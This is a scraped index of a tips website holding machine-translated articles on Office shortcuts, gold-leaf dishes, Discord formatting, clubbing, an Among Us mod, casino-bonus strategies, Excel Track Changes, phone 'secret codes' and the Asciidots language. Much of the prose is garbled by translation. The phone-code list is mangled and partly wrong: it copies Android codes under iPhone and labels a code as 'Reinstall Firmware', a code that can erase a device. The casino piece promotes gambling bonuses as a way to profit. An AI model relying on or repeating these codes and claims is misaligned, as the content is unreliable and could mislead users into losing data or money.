information.\nCtrl + Alt + F2: Execute a document to open (Ctrl + O, respectively).\nkeyboard shortcut Microsoft Word ncG1vNJzZmismaXArq3KnmWcp51kxLC%2Bw2aqoaeiqbC2wNJmrKydlqq5br%2FHqKmtm6WpwG67zWakopuipMCwstNmrqiqlA%3D%3D\n","link":"/post/word-shortcut-keys-useful-shortcut-keys-on-microsoft-word/","section":"post","tags":null,"title":"Word Shortcut Keys- Useful shortcut Keys on Microsoft Word"},{"body":" The 'pure' foods of pork should not be cooked together Top 10 dishes that make the world \"shudder\", you dare try how many of these dishes The 16 most dangerous dishes in the world including those of us who used to eat Today, gold not only stops to make expensive jewelry, but it is also used in decorating dishes, helping to enhance the value of that dish many times compared to the real value. its. These gold inlaid dishes are mostly used to serve rich people to enjoy and help them show their class through food.\nHere are 10 extremely famous gold-plated dishes that one of us dreams of once enjoying.\n1. Smoked bacon with 23 Karat gold   This is a very famous dish of Baconery bakery from New York, USA. After being baked, bacon will be wrapped with a layer of Belgian chocolate and 23 Karat gold is an indispensable item to enhance the value of food and decoration. The price for each piece of meat is 40 USD (about 900,000 VND) for a breakfast.\n2. Macaron wrapped in gold   In 2009 to make a difference for the Macaron, a Parisian pastry shop shook hands with Marni fashion house to launch these delicious-beautiful-strange cakes. This cake is not only delicious but it is also very beautiful because the outer layer of cake is decorated with thin pieces of gold. To get 1 box of 16 cakes, you have to spend 100 USD (2.2 million VND equivalent).\n3. Spaghetti Lasagna decorated with 23 Karat gold   This unique dish is available at the menu of Mirage Hotel in Las Vegas city, USA. Besides the special ingredients for noodles, it is impossible to mention the 23 Karat gold leaves and the rare and precious white diamond mushrooms that make up the value of this dish. To be able to enjoy this luxurious dish, you need to spend 500 USD (about 11 million VND).\n4. Burger with gold   With $ 666 what would you do? In New York City, USA, you can buy a $ 666 gold burger. This cake is made by a mobile food store and this golden cake is called Douche Burger. This cake will include expensive Kobe beef, imported Gruyere cheese, caviar, foie gras, lobster and special salt taken from the Himalayan mountain. Skimming about the cake has found special but to deserve a price of 15 million, of course the gold leaf is indispensable.\nAt first, the store made a golden cake to advertise regular cakes for $ 6.66. However, in fact, the shop owner also sold a few of them that had gold powder.\n5. Baked round cakes cost more than 20 million VND   The baked round cake seems to be a popular dish for us, but in 2007 a Westin hotel chef, New York, brought the value of the round cake to a new level in world cuisine. This round cake is prepared by chefs from extremely expensive ingredients such as white mushroom cream cheese, Riesling jelly and thin leaf gold. This dish is not available, you have to order it 24 hours in advance.\n6. Golden tea buds   Have you ever enjoyed golden tea? This is one of the premium teas developed by a Singapore company. These tea buds are not like normal tea leaves, because they are painted on 24 karat gold layers by skilled workers and cost $ 3,000 for 100 grams of tea.\n7. The most expensive chocolate dessert in the world   Frrrozen Haute Chocolate is a dish recognized by Guinness Book of Records as the world's most expensive dessert. This dish comes from New York Serendipity 3 restaurant. Known to create this dish, the chefs have used ingredients from 28 most expensive cocoa beans in the world and 3 layers of 23 Karat gold coated from the inside out. Not only is the Frrrozen Haute Chocolate coated with gold but the spoon to eat is also made of gold to balance each other in value. The reason is called the world's most expensive dessert because the price for a cup of chocolate is 25,000 USD (about 568 million VND).\n8. Susi wrapped gold instead of seaweed   Speaking of susi, we know right away that this is a familiar dish from Japanese cuisine. Like the dessert chocola, this dish is also included in the Guinness record, prepared by Filipino chef Angelito Araneta and became a famous dish about the world's most luxurious. In this dish, instead of wrapping with sea leaves and regular ingredients, he used Norwegian salmon, foie gras, saffron pistil to make each piece of sushi cost up to 1,800 USD. Of course, that price included pearls and diamonds placed above and thinly wrapped pure gold leaves instead of seaweed.\n9. Cupcake cake is covered with 24 Karat gold leaf   During the World Cupcake Week, an extraordinarily gorgeous 24 Karat Cupcake Gold cake was presented to the guests. A special feature of this cake is made of peach jam, chocolate, butter made from Chateau Yquem, . The price of this cake falls in about 1300 USD (about 29.5 million VND).\n10. Pizza is covered with 24 Karat gold   A normal pizza costs about 300 thousand dong, but to have this gold-plated pizza you have to spend over 45 million dong. At this price, you will receive a cake made from the famous Stilton cheese, foie gras, truffles, Ossetra caviar . and of course indispensable sparkling 24 Karat gold leaves due to the Chef of Industry Kitchen in New York.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5z6inrqSRp3qltdKhnKxlkpqwsLnEZpyxqJWjwKrCxGaZsmWXpLmlecino5qhlA%3D%3D\n","link":"/post/10-popular-dishes-become-expensive-by-gold-inlaid/","section":"post","tags":null,"title":"10 popular dishes become expensive by gold inlaid"},{"body":"Method 1: Create horizontal lines quickly using the Enter key You can use the icons and then press Enter to create arbitrary horizontal lines in Word.\nHorizontal lines in bold: press successive 3 underscores ___ then press the Enter key.\nDouble lines: you press 3 === in a row then press Enter to create a line.\nThird line: you press consecutive 3 sharps ### then press the Enter key to quickly create the third line.\nDark square dots: you press 3 stars in a row *** and press the Enter key.\nZiczac line : you press 3 consecutive marks ~~~ then press the Enter key to create the line.\n  Method 2: Create horizontal lines using the Border You can also use the Border Bottom of the Border feature to create more horizontal lines and more colors for horizontal lines as follows:\nStep 1: Put the cursor on the line you want to create the horizontal line below.Next, select Design -\u0026gt; Page Borders tab.\n  Step 2: Appears Borders and Shading, select the Borders tab, in the Settings section select None (1), next select the horizontal style in the Style (2) section, select the color in the Color (3) section, thickness of the horizontal line in the Width (4).\nSelect None, select the horizontal style in the Style section\n  Next, select the lower border icon (note that the lower border is selected in blue, while the upper border, the left border, the right border are not gray), After the settings are complete Click OK to create the horizontal line.\n  So you will create horizontal lines as you have set.\nCreate horizontal lines as set\n  To delete the horizontal line created by ways 1 and 2, you place the cursor on the line containing the horizontal line and select Design -\u0026gt; Page Borders.\n  Borders and Shading appear, select the Borders tab and click the bottom border icon to deselect the bottom border and click OK.\n  Select the Borders tab and click the bottom border icon.Thus the horizontal line will be deleted.\n  Or you can select (black out) the end of the upper line and the oil position of the line below the horizontal line and press Delete to delete as shown below.\n  ncG1vNJzZmismaXArq3KnmWcp51kf27DwLKqZqyfYrCzscCtnGagn6e2u7vNrZilZZyeu6a%2FjJ6vraqVorKtxYyfmKysXZ67bsPOq5s%3D\n","link":"/post/2-ways-to-create-horizontal-lines-extremely-fast-in-word/","section":"post","tags":null,"title":"2 ways to create horizontal lines extremely fast in WORD"},{"body":"There are many benefits to converting (converting) files from PowerPoint's original format to Flash , such as easy access on the network, better interoperability with many other applications, reduced file size, and negative sound. The integrated bar is ready for sharing, email, online presentations and data security. Here are 6 ways to convert from PPT file to SWF. 1. Convert PowerPoint to Flash with Wondershare Wondershare PowerPoint to Flash is an add-in for PowerPoint that can convert ppt format to Flash with 1 click. Steps to take:\n  1. Download Wondershare PowerPoint to Flash and install it on your device.\n2. Run the program, enter the ppt file you want to convert. 3. Click Publish to convert to Flash. Advantages : Maintain dynamic effects, hyperlinks, multi-object objects after conversion. In addition, the file size decreases by 90%. Download Wondershare PowerPoint to Flash here. 2. Convert PowerPoint to Flash with OpenOffice 1. Run OpenOffice.org Impress. 2. Select File -\u0026gt; Open , open the PowerPoint file you want to convert to flash. 3. Click File -\u0026gt; Export . 4. Select Macromedia Flash (SWF) (.swf) in the Filter box. Click OK . Limitations : Animations and effects, multimedia files will disappear after conversion. This is the solution for static content presentation files. 3. Convert PowerPoint to Flash with Adobe Flash \n 1. Save PowerPoint file into WMF format. Open Office -\u0026gt; Save As -\u0026gt; Other Formats , select Windows Metafile (* .WMF) in the format drop-down menu, click Save . Then click Every Slide button on the pop-up message that appears. 2. Import WMF file into Flash. 3. Export FLA file to SWF. See details here . Limitations : Too complicated and effects will disappear after conversion. 4. Convert PowerPoint to Flash through online tools\n  Zamzar is a web application that supports file conversion quite useful. Users can enter the URL or upload the file to the server, Zambar will convert to the desired format. You can download the ppt file, then select swf, enter the email address. After Zamzar is complete, you just need to go to the mail to download the converted file according to the URL provided. Limitations : The conversion is sometimes broken, the file size is moderate and most effects disappear. 5. Convert PowerPoint to Flash with ppt sharing services Slideshare.net, slideboom.com, authorstream.com are some of the most popular ppt file sharing sites. You can download your presentation file to these web pages, then the service provider will automatically convert the file to flash format for you and share it on the web. Limitations : You cannot download the Flash file to your computer without the necessary tools and skills. However, this is the ideal address to share ppt over the network. 6. Convert PowerPoint word files to Flash with screen recorder tool Download and install Camtasia on your device then perform the following steps: 1. Save the PPT file to PPS. 2. Set Camtasia to record the entire screen when playing 3. Run the PowerPoint PPS file and click F9 to start recording.\n  4. When the slide is blank, click F10 to Camtasia Recorder to stop recording. You will be prompted to save after completing. 5. Save the recorded file with SWF format. Limitations : It may take you time, especially when the file has multiple slides. All of the above options are applicable, depending on the conditions and needs of the user. However, overall, you can consider Wondershare PowerPoint to Flash or how to record screen by Camtasia are the most valuable options, as they allow to preserve effects, audio, and video on the original PPT file.\nncG1vNJzZmismaXArq3KnmWcp51kg27DwLKqZqyfYrCwutWeqa1loKTEpr7PqKCnrF2lv6a%2FxKermqyZpLtussilnKxlpKR6p7jArJ8%3D\n","link":"/post/6-ways-to-convert-powerpoint-presentation-files-to-flash/","section":"post","tags":null,"title":"6 ways to convert PowerPoint presentation files to Flash"},{"body":"Conference for game developers named Game Developers Conference (GDC) 2018 has just opened in San Francisco. In the newly released announcements, Facebook's disclosure is noteworthy, saying it will release the Games SDK for PC game developers, aiming to create a more interactive gaming community and help developers The game adds stream games to Facebook for its PC games.\nAccording to Facebook, more than 800 million people play games that connect to Facebook every month. There are still many untapped potentials. The new Games SDK supports C ++ and Unity, focusing on two aspects:\nIncrease interactivity for the gaming community by easily sharing the game and getting more rewards.\nUnderstand and optimize the impact of community-based activities on events and application analysis data.\n  Easily livestream game on Facebook and increase interaction in the gaming community\nIn terms of interactivity, Facebook's new livestream API makes it easy for developers to add features to the game they are playing straight to Facebook without the need for third party hardware or software.\nBesides, Facebook also intends to allow players to capture moments, share videos on Facebook Page, Groups and Profiles through the new photography feature.\nThe new bonus feature is about to be released as well 'allowing the game developer to create interesting experiences for the community, the opportunity to increase interactivity for the game by creating and giving in-game rewards to viewers of livestream On Facebook'.\nThe developer of Paladins Hi-Rez Studios has also tested this award-winning feature on the Paladins Global Series and found interactivity in the gaming community increased. Therefore, Facebook expanded to all game developers.\nSee more:\nThis is how Live Stream Facebook Video on PC, Fanpage How to live stream games to Twitch with OBS How to stream BlueStacks with Facebook Live ncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdoa62usKhnJ1lkWK7psOMoJimnaNiwKW3jLCfopuYYrKvtMCnmp6rXZ67tbHRmpqtoZ%2BjeqK6w2aqraqVlrq0ec%2BcZKCZnZrAbsDOZp2am5WXvLC3\n","link":"/post/facebook-launched-a-new-games-sdk-which-enhances-interaction-and-streams-pc-games-to-facebook/","section":"post","tags":null,"title":"Facebook launched a new Games SDK, which enhances interaction and streams PC games to Facebook"},{"body":" 9 things to note when playing PUBG Mobile if you want to top How to download Dragon Ball Legends iOS game, Android version 2018 Download PUBG Mobile game for iOS and Android phones If you are passionate about shooting games and still have not found a suitable game for you, right now, iOS users can quickly download the phone for Hitman Sniper game which is free on the app store. Iphone.\nDownload now Hitman Sniper for iOS Download now Hitman Sniper for Android On Christmas last year this game is also free for iOS and Android. If you have not yet downloaded for yourself this interesting game, please quickly download it in this free batch.\nThis is a game developed by Square Enix Montreal, launched in 2014 and since then it has become a favorite game of many people despite its selling price of 0.99USD.\n  In the game the player will play the skinhead agent 47 with the sniper gun and the task of destroying the targets provided by the dark contract. Of course gamers can arbitrarily act according to whatever method they desire, from stabbing straight bullets into the head of a drug boss, or quickly hand down gradually the good sub-groups around. Up to 150 missions for players to test their shooting skills.\nHitman: Sniper will encourage gamers to be more secretive. For example, instead of \"sweeping\" all in front of the eyes, the player can choose the items displayed in the surroundings to deceive by accidents. The most typical is the gas tanks located in the outdoor dining area, just a small impact you will disguise the assassination by gas explosion without anyone knowing or knowing.\n  In addition to the appealing game content, the game's graphics background is also extremely interesting and beautiful, with extremely sharp and authentic 3D models. The metallic air reflected on his body every gun, the villas with lights far away from the surface of the supreme residence or the gesture of very human gestures of machine characters, will be the visual elements that impress statue with players from first sight.\nSome outstanding content introduced in Hitman Sniper:\nIncorporate into assassin Agent 47, possess many special skills and experience the most attractive sniper phase on your smartphone Train skills, strategies and plan your own assassination tasks perfectly Satisfy your passion with more than 150 missions and 10 most notorious assassination contracts After each mission and destroy the target, you can collect many different weapons with strong damage Increase your score and rise above the killer chart by contract to become the world's best silent assassin With such plus points, there is no reason that you will not quickly download for yourself this interesting game.\nWish you have fun playing games!\nSee more:\nThe secret to always winning when playing checkers If you want to be an excellent player when playing Agar.io, read this article PlayerUnknown's Battlegrounds keyboard shortcut ncG1vNJzZmismaXArq3KnmWcp51ktarAzJqlZquenr2mvoyfmKanpah6qK3MnmSiq12Xsqq6xmadq52VYryvecioqmaZnpl6orrDq6ainA%3D%3D\n","link":"/post/hitman-sniper-famous-game-is-being-free-on-ios-and-android/","section":"post","tags":null,"title":"Hitman Sniper famous game is being free on iOS and Android"},{"body":" This wikiHow teaches you how to create a code line or code box in Discord chat. You can do this on both desktop and mobile versions of Discord. Open Discord. Click or double-click the Discord app icon, which resembles the white Discord...\nMethod 1of 2:\nOn Desktop  Open Discord. Click or double-click the Discord app icon, which resembles the white Discord logo on a purple background. This will open the Discord chat window if you're logged in. If you aren't logged in, enter your email address and password and click Login.   Select a channel. Click the channel to which you want to send your text in the upper-left side of the page.\n  Click the message text box. This is at the bottom of the Discord window.\n  Press the back-tick key. It's the ` key typically found in the upper-left side of the keyboard on the same key as the tilde (~). Doing so will type one back-tick into the Discord text box. If you want to format a block of code, skip this step and the next three steps.   Enter the text you want to format. Type in the word or phrase you want to format as a line of code.\n  Press the back-tick key again. You should now have one back-tick on each side of the text you're sending as a code. For example, if you're trying to format the line \"I like trains\", you would have `I like trains` typed into the text box.   Press ↵ Enter. Doing so will format and send your message.\n  Format a block of code. If you want to send a sample of code (e.g., an HTML page) to someone through Discord, you can type three back-ticks (```) before and after the text and then press ↵ Enter.[1] For example, to format the code \"\" as a block, you would type`````` into Discord and press ↵ Enter. If you want to set a specific language for your code block, type the three apostrophes, type in the language (e.g., css) on the first line, create a new line, and add the rest of your code before typing the closing three apostrophes.  Method 2of 2:\nOn Mobile  Open Discord. Tap the Discord app icon, which resembles a white Discord logo on a purple background. Doing so will open the Discord chat page if you're logged into your account.\n  Select a channel. Tap the channel to which you want to send your text.\n  Tap the chat text box. It's at the bottom of the screen.\n  Type a back-tick. A back-tick can be typed in a couple of different ways depending on your phone: iPhone — Tap 123 in the bottom-left corner of the keyboard, tap and hold the apostrophe icon above the return button, drag your finger left to select the far-left back-tick icon (`), and release your finger. Android — Tap !#1 in the lower-left side of the keyboard, then tap the ` back-tick icon. If you want to format a block of code instead, skip this step and the next three steps.   Enter your text. Type in the text you want to format.\n  Type another back-tick. You should now have one back-tick on either side of your text. For example, if you want to format the phrase \"Hello there!\", you would have `Hello there!` typed into the chat box.   Tap the \"Send\" icon   . It's to the right of the text box.   Format a block of code. If you want to send a sample of code (e.g., an HTML page) to someone through Discord, you can type three back-ticks (```) before and after the text and then tap the \"Send\" icon. For example, to format the code \"\" as a block, you would type`````` into Discord. If you want to set a specific language for your code block, type the three apostrophes, type in the code language (e.g., css) on the first line, create a new line, and add the rest of your code before typing the closing three apostrophes.   Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6fp7qiwIytnLGsXZbAbq%2FOnZxmoZ5isaq%2FwqipnQ%3D%3D\n","link":"/post/how-to-format-text-as-code-in-discord/","section":"post","tags":null,"title":"How to Format Text as Code in Discord"},{"body":"Looking to have a fun night out clubbing with your friends? Before you call a cab, make sure you're dressed for the club and you have your wallet and ID on you. When you arrive, you may need to wait in line and show a bouncer your ID. Once...\nPart 1of 3:\nGetting Ready  Put on something you feel confident in. Clubbing is about having fun, and you'll have more fun if you feel great in your outfit! Just make sure you're dressed appropriately for the club you're going to. Avoid things like sweatpants, t-shirts, and sneakers (unless the club you're going to is casual). If you're going to a high-end club, call ahead or check their website to see if they have a dress code.[1] A button up shirt and slacks or a shorter dress are always safe outfit choices for the club. Wear shoes you won't mind dancing and walking around in all night (just avoid sneakers and flip flops).   Invite your friends out. Clubbing is more fun when you're with friends. Text or call your friends and ask if they want to go out clubbing with you. Invite them over beforehand so you can all ride to the club together. You can even invite them over early so you can all get ready together!\n  Designate a driver or order a cab. If you and your friends plan on drinking alcohol at the club, designate someone to be the sober driver. If everyone wants to drink, order a cab, Uber, or Lyft to bring you to the club.\n  Bring your wallet and ID. You'll need money to buy drinks and pay the cover charge if the club has one. Make sure your ID is in your wallet; you won't be able to get into the club without it. You can use your license or passport as your ID.[2] Make sure your ID is valid and current or you won't be able to get into the club. If you don't have any pockets to carry your wallet in, bring a clutch with a wrist strap to carry your money and ID in. Don't bring a large handbag unless you won't mind carrying it around the club all night.  Part 2of 3:\nGetting into the Club  Be prepared to wait in line. If you're going clubbing on a busy night, like a Friday or Saturday, there may be a line to get inside. Get in the back of the line and chat with your friends while you wait. The line should move quickly!\n  Show the bouncer your ID. Most clubs have a bouncer standing outside that checks everyone's IDs to make sure they're old enough to get in. Take your ID out before you get to the bouncer so you're ready when it's your turn. Be polite and respectful! The bouncer can turn you away if you're group is being rowdy or rude.[3]\n  Pay the cover charge if there is one. Some clubs charge people at the door to get in. Use cash in the exact amount if you have it. If you're using a card, you may need to sign a receipt.\n  Let the bouncer or attendant put a wristband on your wrist. The wristband is so the bartenders and security know you're of legal age and that you paid to get in. If the bouncer doesn't put a wristband on you, there may be an attendant inside that will. Don't take off or lose your wristband or you could get kicked out of the club!  Part 3of 3:\nHaving Fun at the Club  Order a drink at the bar if you'll be drinking. Go up to the bar in the club and wait for the bartender to ask what you'd like. There may not be a drink menu, so have an idea of what you want to order beforehand. After you get your drink, wait for the bartender to bring you your receipt so you can pay for it.[4] If you're not used to drinking alcohol, come up with a drink limit for yourself so you don't accidentally drink too much. Keep a tab open and leave your card with the bartender if you plan on ordering multiple drinks throughout the night. Never leave your drink unattended. There is a chance it might get spiked. Don't forget to leave a tip!   Dance with your friends. Bring your drink on the dance floor if you have one, but be careful not to spill it. Try to dance along with the kind of music that's playing. If you're not sure how to dance, try out some basic club dance moves like nodding your head or rolling your shoulders. Be respectful of other people on the dance floor. Don't dance with someone unless they make it clear they want to dance with you too.   Grab a booth or table when you need a break. Make sure the booth isn't taken already. If you see a lot of drinks and bottles on the table, someone could be sitting there or it could be reserved for a party.\n  Don't be afraid to order water at the bar. It's easy to get overheated when you're dancing and drinking all night. Go up to the bartender and ask them for a water. At most clubs, water is complimentary, so you can have as much as you want!\n  Micah Soto Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BfYrCtwcGboKef\n","link":"/post/how-to-go-clubbing/","section":"post","tags":null,"title":"How to Go Clubbing"},{"body":"In this article, TipsMake will guide you on how to play Werewolf Imposter mod in Among Us.\nAt a time when thousands of Among Us players were eagerly waiting for the new map The Airship to launch with the first Among Us update in 2021, a Youtuber named SSundee has discovered a new way to make the game come back. should be more interesting. YouTuber recently released a video of him playing Among Us using the Werewolf Imposter mod . That's right, Werewolf Imposter mod is a new addition to the list of popular mods Among Us.\nUnlike other Among Us mods, this mod is a little different because it turns an imposter into a werewolf. Since SSundee posted a video on YouTube, thousands of Among Us fans have been wondering how to experience this mod and if you are one of them, this is all you need to do.\nWerewolf Imposter as Among Us Once this mod is installed, the impostor will have the ability to become a werewolf and there is a Transform button on the left side of the screen in addition to the Kill and Sabotage buttons. Every 30 seconds, players can choose to transform into a werewolf. This will turn off all lights, reduce the visibility of all crew members, and increase the visibility and movement speed of the impostor and werewolf.\n  Werewolf Impostor also has the ability to find any of the crew members' locations on the mini-map, even when their transformation is inactive. This allows the werewolf impostor to track the crew members, find them, trap them, use the kill button to eliminate them and run away from the scene without being detected. When the effect wears off, there will be a cooldown duration. Then the impostor will not be able to transform.\nThe goal of the game remains the same. The crew members need to complete all their missions or find and vote the werewolf to win, and the werewolf must kill each member of the spaceship to win. Werewolf Impostor can still vent his anger and destruction as usual.\nAt the time of writing, the only ones with access to the Werewolf mod were SSundee and his friends. There hasn't been a publicly available download file yet for other players to download and install. However, since it is still very new, there is always a chance that talented modders will create their own ideal version that can be shared with other fans in the near future.\nLink to download the latest Among Us:\nLink to download Among Us for PC here. Link to download Among Us for Android here. Link to download Among Us for iPhone here. Video introduces how to play Werewolf Imposter in Among Us Among Us how to play Among Us ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZuw8SrnLCnnJt6qrnPqKqtnaJitq95wKamp59dqsA%3D\n","link":"/post/how-to-play-werewolf-imposter-in-among-us/","section":"post","tags":null,"title":"How to play Werewolf Imposter in Among Us"},{"body":"Online casinos use different marketing tactics to invite more and more new customers to their platform and offering promotional bonuses is one of them. Casinos present these bonuses in a way that seems lucrative to players. They are like clickbait.\u0026nbsp;They can know the potential of a bonus once they start digging into bonus rules. Nonetheless, many operators offer genuine rewards that can be useful.\nYou can utilize such casino bonuses to make a profit if you know how to do it. Unlike most players, you can turn the situation in your favor by taking advantage of such incentives. Thus, we have encompassed six tips and tricks that will be helpful to take optimum utilization of casino bonuses.\n  Tip #1 – Select the Right Operator As stated, several casino operators advertise lucrative bonuses to attract players, but these bonuses have no advantages. On the other hand, some reliable providers ensure a bonus that can be used to make money.\nThe terms and wagering requirements of such bonuses are real and seem feasible. Thus, it is crucial to find a suitable casino provider. It is hard to find the best casino with the best offer, so that you can rely on the help of genuine casino reviewing websites.\nTip #2 – Choose No Deposit Bonus   There is a wide range of bonuses in the digital gambling industry. You will find various kinds of bonuses; free spins, match bonus, no deposit bonus, and so on. No deposit offers are best for new players. They are risk-free and are excellent to try a new platform.\nYou don't need to deposit a penny into their casino account, and still, you can play real money games. Real money can be won with these bonuses. For instance, you can use free spins with no deposit bonus to play 'Book of Dead' to win real money even without depositing real money. However, in order to withdraw these winnings, you have to complete the 'stated' wagering (playthrough) requirements.\nTip #3 – Pay Attention to Game Contribution Bonuses seem easy to utilize when you join a casino, but you understand how it works when the curtain falls. The chosen bonus may not be anchored to all games to complete the wagering requirement. Some casino online games contribute nothing towards the bonus.\nThus, if you want to maximize your odds of winning with a casino bonus, it is vital if you play games that have up to 90-100% contribution. Popular online pokies can have 100% contribution, while games like poker, roulette, and video poker. It is important this facet because if you wager money recklessly, thinking that the wagered amount is counted towards wagering requirements, you will be disappointed at the end.\nTip #4 – There Are Bonuses Even After Welcome Gift Most new players are attracted towards welcome bonuses and put everything to make a profit using it. The bonuses received after the initial incentive are often packed with fewer wagering requirements and longer validity. Some serious operators also offer exciting offers on consecutive deposits after the no deposit bonus or the first deposit bonus.\nAlthough benefits may not be as good as the welcome rewards, you can use these bonuses to profit as playthrough requirements and game contributions are not as complex as in sign-up bonuses. However, you must have to use the first bonus before marching towards the afterward rewards.\nTip #5 – Loyalty Rewards Are Beneficial in Long Term   Most casino players emphasize welcome bonuses, but the real advantage lies in loyalty reward programs. When you play at a casino regularly, you are given rewards or points on every dollar wagered. These loyalty rewards can be very useful at a certain point.\nLoyalty points can be used to enter some interesting tournaments for free. On the other hand, some casinos offer a chance to redeem such points that have an extra benefit in a game. Along with all these, there are many more benefits attached to loyalty or VIP programs, so make sure you climb the ladder of loyalty programs upgrading from silver, gold, and platinum members.\nTip #6 – Play Games That You Know One of the basic tricks to win using casino bonuses is to play games that you are familiar with. A bonus might be anchored with multiple games, but you should play games that you know instead of trying all games.\nDon't take bonuses for granted and use them to learn new games. This way, you will lose your chances of contributing to the wagering requirement, and you will not ripe benefits from the bonus in the end. If you are a newbie, you should play free games before signing to acquire basic knowledge of the gameplay.\nFinal Words All bonuses are not just clickbait, and benefits lie underneath them. As a player, you need an eye to see them. Be choosy and super cautious when choosing a bonus, but never forget to check bonus conditions and a roster of extra bonuses available for existing customers. Rather than focusing only on the welcome bonus, you should have a long-term goal to utilize other incentives as well.\nCasino Bonuses Casino ncG1vNJzZmismaXArq3KnmWcp51kwKrEjK2gqatdlruledOroJyjo2KzsL6MrqqippdisKK%2FyKemZpqfo8K0sdJmq6hlnZa4pnnPq6afoaQ%3D\n","link":"/post/six-tips-and-tricks-for-using-casino-bonuses-to-make-profit/","section":"post","tags":null,"title":"Six Tips and Tricks for Using Casino Bonuses to Make Profit"},{"body":"All changes are marked separately so that users can clearly see what the changed content is. Basically, the Track Changes feature in Excel is quite similar to Track Changes in Word. The following article will guide you how to use Track Changes in Excel.\nInstructions for using Track Changes in Excel Step 1:\nAt the interface on Excel, click File and then look at the menu on the left of the interface, click More. and then select Options .\n  In the next list, click on Quick Access Toolbar in the list on the left side of the interface. Look at the interface next to switch to Commands Note in the Ribbon mode and then find Track Changes below the list and select Add and then click OK.\nSo the Track Changes tool has been added to the toolbar.\n  Step 2:\nYou click on the Track Changes icon at the top or click the Review tab and then select Track Changes. Then the user clicks on Highlight Changes .\n  You will select 2 contents as shown below and then click OK to save. Then we will be asked to save the data table, click OK to save.\n  Step 3:\nNow when you enter changes in the data table there will be a small symbol in that cell . When hovering, information about the changed content will be clearly displayed, including the change box as shown below.\n  Step 4:\nIn case you want to turn off the Track Changes feature in Excel, then click on the Track Changes feature on the toolbar and then uncheck the 2 options .\n  ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddqsCmedOrmJyjXZi1orrGnqpmoZ5isrmvxKU%3D\n","link":"/post/steps-to-use-track-changes-in-excel/","section":"post","tags":null,"title":"Steps to use Track Changes in Excel"},{"body":" The following article will summarize you the secret codes to enable hidden features on mobile phones.\nAnyone who owns a phone in a pocket, but not everyone knows how to activate some hidden features by entering the codes. There are many such codes, some work with all types of phones, some only work with certain types of phones. The following article will summarize you the secret codes to enable hidden features on mobile phones.\nAndroid   * # 06 #:Display the IMEI number. # 31 #:Hide your phone number with the entire phone number when calling. # 31 # (someone's phone number):Hide your phone number when calling that phone number. * # 30 #: Show yourphone number when calling. * 3001 # 12345 #:Displays Field Mode mode. * 2767 * 3855 #:Reinstall Firmware. * # 0 * #:Displays Test Mode. * # * # * # * # 197328640:Opening software quality inspection service. * # * # 34971539 # * # *:Learn about the Camera on the device. * # * # * 273283255 * 663: 282 * # * # *:Backup image and video data in the device. * 0228 *:Check battery status. * # 32489 #:View information on algorithms on the device. * # 3282 * 727336 * #:Check capacity on the device. 3845 # * 920 #:Check to see if the device supports 3D features. 528 # * # * # * # * or 526 # * # * # * # *:Check the status of the Wifi network connection. * # * # 1575 # * # *:Diagnose GPS accuracy. * # * # 232331 # * # *:Check Bluetooth status. * # * # 1111 # * # *:Check the device software in use. * # * # 2222 # * # *:Check the device hardware in use. Iphone   * # 06 #:Display the IMEI number. # 31 #:Hide your phone number with the entire phone number when calling. # 31 # (someone's phone number):Hide your phone number when calling that phone number. * # 30 #: Show yourphone number when calling. * 3001 # 12345 #: Displays Field Mode mode. * # 33 #:Displays a list of blocking modes being used (calls, messages, data .) * 3001 # 12345 # *: Display of missed calls. * # 67 #:Check which phone numbers will automatically respond to messages when busy. ## 002 #:Turn off automatic message feedback when busy. secret code iphone  Lesley Montoya Update 25 May 2019\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q0scKrnK1lk6Sxpr%2BMraZmmZOptret055koaGUmbKvecWemK2toprAbrvNZqSompmhsm68x6ilnqs%3D\n","link":"/post/summary-of-secret-codes-to-activate-hidden-features-on-mobile-phones/","section":"post","tags":null,"title":"Summary of secret codes to activate hidden features on mobile phones"},{"body":"For those outside the programming world, programming language is almost exclusively a programming language - a bunch of math symbols interspersed with confusing English words. Any structure or organization of the code is mostly in the meaning of these symbols and words of a certain programming language or programming language. Outsiders look like a mess, whether it's JavaScript, Java or Brainfuck.\nIn the end, big universities realized that Java was a lousy language if used for introductory programming \nWhat is JavaScript? Can the Internet exist without JavaScript? 16 programming languages ​​will change your luck in 2017 If the special programming language (esolang - Esoteric programming language) Asciidots looks like a mess, at least it has a different appearance, or at least aesthetic mess and makes people comfortable. Simply, its mechanism and syntax is built on Ascii art. Before going into more detail, take a look at the example of Asciidots.\n  An example of programming language Asciidots\nThe above program looks quite simple. It ranks a variable and increases 1 time each time the code is executed. If starting with variable x value 0 and running the program 3 times, we will have x equivalent to 3.\nThe way it does this is not yet clear. Asciidots is a unique programming language known as the dataflow language. In this language, we can imagine the data units (as mentioned above) go on a data vehicle stopping at different locations. These stops change the value of the data. A stop can add 1 to the variable while another stops to divide the value. At some point, the road can be divided and the data vehicle will choose one branch to move on, depending on its current value. For example, if it is greater than 2, turn left and if not, turn right.\nOther examples of data line languages ​​are LabVIEW, Pure Data, Max / MSP, Verilog and Simulik. They are often used in simulated electronic hardware systems. Pure Data and Max / MSP are often used to make music and perform.\nWith Asciidots, the road of the vehicle mentioned above is described by straight lines (|, -, /,). The program below directs a data unit from the last to the last position without actually doing anything.\n  Program start and end points\nMost symbols are not straight lines are about math but there are also program-oriented icons that require user input data, set values, output values, change the direction of data units . This unit is represented by a dot. The dots in the program represent the input points of the new data units.\n  The data car with 2 turns\nHere we see two dots joining the path. Each sign has a value that uses the hash sign, followed by the value. Two units of data then meet each other at the minus sign and then produce the result. Then they follow the dollar symbol above, which means exporting the value it receives.\nHere is all the code in Asciidots. Remember that the dollar symbol is outputting any value it receives, in this case a guide for the user.\n  The whole program Asciidots\nAsciidots is essentially a Python program. It only includes normal Python code and then executes it. There are many such languages, including Python, that can be translated into C.\nEsolang often benefits when it forces programmers to look back at their work from a new perspective. Asciidots has at least done this, and of course it looks cool.\nncG1vNJzZmismaXArq3KnmWcp51krrSvyKKbqKyjYsGpsYycpqiklajBbrHSqKueqpmYerG%2BzqCpmqWdnruoecuapaCtkZyy\n","link":"/post/the-coolest-esoteric-programming-language/","section":"post","tags":null,"title":"the coolest Esoteric programming 